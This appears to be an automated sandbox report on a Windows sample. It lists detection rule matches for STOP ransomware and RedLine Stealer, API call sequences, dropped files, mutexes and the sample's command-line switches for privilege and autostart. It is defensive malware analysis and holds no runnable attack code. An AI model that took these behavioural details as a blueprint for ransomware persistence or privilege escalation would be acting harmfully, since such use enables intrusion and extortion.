Source: 11.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22a15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 11.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22a15a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 2.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 2.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 13.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 13.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000007.00000002.1778324118.000000000080C000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.1722296268.0000000002230000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000007.00000002.1778445839.0000000002240000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000000.00000002.1722225199.0000000002198000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000008.00000002.1800497769.00000000008F3000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000B.00000002.1863661270.0000000000919000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000010.00000002.1940914236.00000000021B5000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000010.00000002.1940971329.0000000002250000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000008.00000002.1800593794.0000000002280000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000B.00000002.1863808693.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000D.00000002.1874166831.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000D.00000002.1874166831.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000009.00000002.2923188617.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000009.00000002.2923188617.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000000A.00000002.2923193912.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000A.00000002.2923193912.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000011.00000002.1951353036.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000011.00000002.1951353036.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: Process Memory Space: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe PID: 5480, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe PID: 3492, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe PID: 7240, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe PID: 7272, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe PID: 7380, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe PID: 7492, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe PID: 7564, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe PID: 7688, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe PID: 7808, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe PID: 7880, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23

Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.2.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.rans.spre.troj.evad.winEXE@22/443@6/3

Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe

Code function: 2_2_00411900 GetLastError,FormatMessageW,lstrlenW,lstrlenW,lstrlenW,LocalAlloc,lstrcpyW,lstrcatW,lstrcatW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,_memset,lstrcpynW,MessageBoxW,LocalFree,LocalFree,LocalFree,

2_2_00411900

Source: C:\Users\user\AppData\Local\Temp\RranN.exe

Code function: 1_2_00B4119F GetCurrentProcess,OpenProcessToken,AdjustTokenPrivileges,CloseHandle,CloseHandle,

1_2_00B4119F

Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe

Code function: 0_2_021987C6 CreateToolhelp32Snapshot,Module32First,

0_2_021987C6

Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe

Code function: 2_2_0040D240 CoInitialize,CoInitializeSecurity,CoCreateInstance,VariantInit,VariantInit,VariantInit,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,VariantClear,CoUninitialize,CoUninitialize,CoUninitialize,__time64,__localtime64,_wcsftime,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,VariantClear,swprintf,CoUninitialize,CoUninitialize,

2_2_0040D240

Source: C:\Users\user\AppData\Local\Temp\RranN.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\k1[1].rar

Jump to behavior

Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Mutant created: \Sessions\1\BaseNamedObjects\{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6104

Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe

File created: C:\Users\user\AppData\Local\Temp\RranN.exe

Jump to behavior

Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Command line argument: cujodig	0_2_00403772
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Command line argument: --Admin	2_2_00419F90
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Command line argument: IsAutoStart	2_2_00419F90
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Command line argument: IsTask	2_2_00419F90
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Command line argument: --ForNetRes	2_2_00419F90
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Command line argument: IsAutoStart	2_2_00419F90
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Command line argument: IsTask	2_2_00419F90
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Command line argument: --Task	2_2_00419F90
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Command line argument: --AutoStart	2_2_00419F90
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Command line argument: --Service	2_2_00419F90
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Command line argument: X1P	2_2_00419F90
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Command line argument: --Admin	2_2_00419F90
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Command line argument: runas	2_2_00419F90
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Command line argument: x2Q	2_2_00419F90
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Command line argument: x*P	2_2_00419F90
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Command line argument: C:\Windows\	2_2_00419F90
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Command line argument: D:\Windows\	2_2_00419F90
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Command line argument: 7P	2_2_00419F90
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Command line argument: %username%	2_2_00419F90
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Command line argument: F:\	2_2_00419F90
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Command line argument: --Admin	2_2_00419F90
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Command line argument: IsAutoStart	2_2_00419F90
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Command line argument: IsTask	2_2_00419F90
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Command line argument: --ForNetRes	2_2_00419F90
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Command line argument: IsAutoStart	2_2_00419F90
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Command line argument: IsTask	2_2_00419F90
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Command line argument: --Task	2_2_00419F90
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Command line argument: --AutoStart	2_2_00419F90
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Command line argument: --Service	2_2_00419F90
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Command line argument: X1P	2_2_00419F90
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Command line argument: --Admin	2_2_00419F90
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Command line argument: runas	2_2_00419F90
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Command line argument: x2Q	2_2_00419F90
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Command line argument: x*P	2_2_00419F90
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Command line argument: C:\Windows\	2_2_00419F90
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Command line argument: D:\Windows\	2_2_00419F90
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Command line argument: 7P	2_2_00419F90
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Command line argument: %username%	2_2_00419F90
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Command line argument: F:\	2_2_00419F90

Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: wctF86A.tmp.9.dr	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: wctF86A.tmp.9.dr	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: wctF86A.tmp.9.dr	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: wctF86A.tmp.9.dr	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');

Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	ReversingLabs: Detection: 95%
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Virustotal: Detection: 86%

Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	String found in binary or memory: set-addPolicy
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	String found in binary or memory: id-cmc-addExtensions
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	String found in binary or memory: set-addPolicy
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	String found in binary or memory: id-cmc-addExtensions
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	String found in binary or memory: set-addPolicy
